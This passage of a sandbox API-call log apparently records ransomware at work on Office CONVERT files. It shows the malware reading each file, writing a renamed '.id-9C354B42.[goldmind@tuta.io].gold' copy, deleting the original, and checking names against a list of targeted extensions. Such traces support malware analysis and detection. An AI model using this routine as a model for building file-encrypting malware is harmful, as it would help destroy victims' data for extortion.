office\\office14\\convert\\odbc.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0111.659] GetLastError () returned 0x0 [0111.659] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xf978, lpOverlapped=0x0) returned 1 [0111.668] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf980, lpOverlapped=0x0) returned 1 [0111.669] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.669] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0111.669] SetEndOfFile (hFile=0x3ac) returned 1 [0111.669] CloseHandle (hObject=0x3ac) returned 1 [0111.669] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.669] SetEndOfFile (hFile=0x394) returned 1 [0111.671] CloseHandle (hObject=0x394) returned 1 [0111.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 1 [0111.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.672] lstrlenW (lpString=".doc") returned 4 [0111.673] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".docx") returned 5 [0111.673] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0111.673] lstrlenW (lpString=".pdf") returned 4 [0111.673] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".xls") returned 4 [0111.673] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.673] lstrlenW (lpString=".xlsx") returned 5 [0111.673] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0111.673] lstrlenW (lpString=".ppt") returned 4 [0111.673] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString=".zip") returned 4 [0111.673] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.673] lstrlenW (lpString=".rar") returned 4 [0111.673] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".bz2") returned 4 [0111.673] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".7z") returned 3 [0111.673] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString=".dbf") returned 4 [0111.673] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString=".1cd") returned 4 [0111.673] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString=".jpg") returned 4 [0111.673] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString=".doc") returned 4 [0111.673] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".docx") returned 5 [0111.673] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0111.673] lstrlenW (lpString=".pdf") returned 4 [0111.673] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".xls") returned 4 [0111.673] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.673] lstrlenW (lpString=".xlsx") returned 5 [0111.673] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0111.673] lstrlenW (lpString=".ppt") returned 4 [0111.673] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString=".zip") returned 4 [0111.673] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.673] lstrlenW (lpString=".rar") returned 4 [0111.673] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".bz2") returned 4 [0111.673] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.673] lstrlenW (lpString=".7z") returned 3 [0111.673] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.673] lstrlenW (lpString=".dbf") returned 4 [0111.674] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.674] lstrlenW (lpString=".1cd") returned 4 [0111.674] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0111.674] lstrlenW (lpString=".jpg") returned 4 [0111.674] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.674] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.674] lstrlenW (lpString="OLMAIL.FAE") returned 10 [0111.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.675] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=63384) returned 1 [0111.675] CloseHandle (hObject=0x394) returned 1 [0111.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 0x20 [0111.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.676] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.676] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0111.676] GetLastError () returned 0x0 [0111.676] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xf798, lpOverlapped=0x0) returned 1 [0111.679] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf7a0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf7a0, lpOverlapped=0x0) returned 1 [0111.680] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.680] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0111.680] SetEndOfFile (hFile=0x3ac) returned 1 [0111.681] CloseHandle (hObject=0x3ac) returned 1 [0111.681] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.681] SetEndOfFile (hFile=0x394) returned 1 [0111.683] CloseHandle (hObject=0x394) returned 1 [0111.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 1 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString=".doc") returned 4 [0111.685] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.685] lstrlenW (lpString=".docx") returned 5 [0111.685] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0111.685] lstrlenW (lpString=".pdf") returned 4 [0111.685] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString=".xls") returned 4 [0111.685] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString=".xlsx") returned 5 [0111.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0111.685] lstrlenW (lpString=".ppt") returned 4 [0111.685] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString=".zip") returned 4 [0111.685] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString=".rar") returned 4 [0111.685] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString=".bz2") returned 4 [0111.685] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.685] lstrlenW (lpString=".7z") returned 3 [0111.685] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString=".dbf") returned 4 [0111.685] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString=".1cd") returned 4 [0111.685] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString=".jpg") returned 4 [0111.685] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString=".doc") returned 4 [0111.685] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.685] lstrlenW (lpString=".docx") returned 5 [0111.685] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0111.685] lstrlenW (lpString=".pdf") returned 4 [0111.685] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString=".xls") returned 4 [0111.685] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString=".xlsx") returned 5 [0111.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0111.685] lstrlenW (lpString=".ppt") returned 4 [0111.685] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.685] lstrlenW (lpString=".zip") returned 4 [0111.685] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.686] lstrlenW (lpString=".rar") returned 4 [0111.686] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.686] lstrlenW (lpString=".bz2") returned 4 [0111.686] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.686] lstrlenW (lpString=".7z") returned 3 [0111.686] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.686] lstrlenW (lpString=".dbf") returned 4 [0111.686] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.686] lstrlenW (lpString=".1cd") returned 4 [0111.686] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0111.686] lstrlenW (lpString=".jpg") returned 4 [0111.686] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.686] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.686] lstrlenW (lpString="OLNOTE.FAE") returned 10 [0111.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.687] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=52120) returned 1 [0111.687] CloseHandle (hObject=0x394) returned 1 [0111.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 0x20 [0111.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.687] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.688] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0111.688] GetLastError () returned 0x0 [0111.688] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xcb98, lpOverlapped=0x0) returned 1 [0111.691] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xcba0, lpOverlapped=0x0) returned 1 [0111.692] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.692] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0111.692] SetEndOfFile (hFile=0x3ac) returned 1 [0111.692] CloseHandle (hObject=0x3ac) returned 1 [0111.692] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.692] SetEndOfFile (hFile=0x394) returned 1 [0111.694] CloseHandle (hObject=0x394) returned 1 [0111.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olnote.fae")) returned 1 [0111.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.695] lstrlenW (lpString=".doc") returned 4 [0111.695] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.695] lstrlenW (lpString=".docx") returned 5 [0111.695] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0111.696] lstrlenW (lpString=".pdf") returned 4 [0111.696] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".xls") returned 4 [0111.696] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".xlsx") returned 5 [0111.696] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0111.696] lstrlenW (lpString=".ppt") returned 4 [0111.696] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".zip") returned 4 [0111.696] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".rar") returned 4 [0111.696] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".bz2") returned 4 [0111.696] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.696] lstrlenW (lpString=".7z") returned 3 [0111.696] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".dbf") returned 4 [0111.696] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".1cd") returned 4 [0111.696] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".jpg") returned 4 [0111.696] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".doc") returned 4 [0111.696] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.696] lstrlenW (lpString=".docx") returned 5 [0111.696] lstrcmpiW (lpString1=".docx", lpString2="E.FAE") returned -1 [0111.696] lstrlenW (lpString=".pdf") returned 4 [0111.696] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".xls") returned 4 [0111.696] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".xlsx") returned 5 [0111.696] lstrcmpiW (lpString1=".xlsx", lpString2="E.FAE") returned -1 [0111.696] lstrlenW (lpString=".ppt") returned 4 [0111.696] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".zip") returned 4 [0111.696] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".rar") returned 4 [0111.696] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.696] lstrlenW (lpString=".bz2") returned 4 [0111.696] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.696] lstrlenW (lpString=".7z") returned 3 [0111.696] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".dbf") returned 4 [0111.696] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.696] lstrlenW (lpString=".1cd") returned 4 [0111.697] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned 61 [0111.697] lstrlenW (lpString=".jpg") returned 4 [0111.697] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.697] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.697] lstrlenW (lpString="OLTASK.FAE") returned 10 [0111.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.697] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=115608) returned 1 [0111.697] CloseHandle (hObject=0x394) returned 1 [0111.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 0x20 [0111.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.698] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.698] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0111.699] GetLastError () returned 0x0 [0111.699] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x1c398, lpOverlapped=0x0) returned 1 [0111.808] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1c3a0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1c3a0, lpOverlapped=0x0) returned 1 [0111.810] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.810] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, 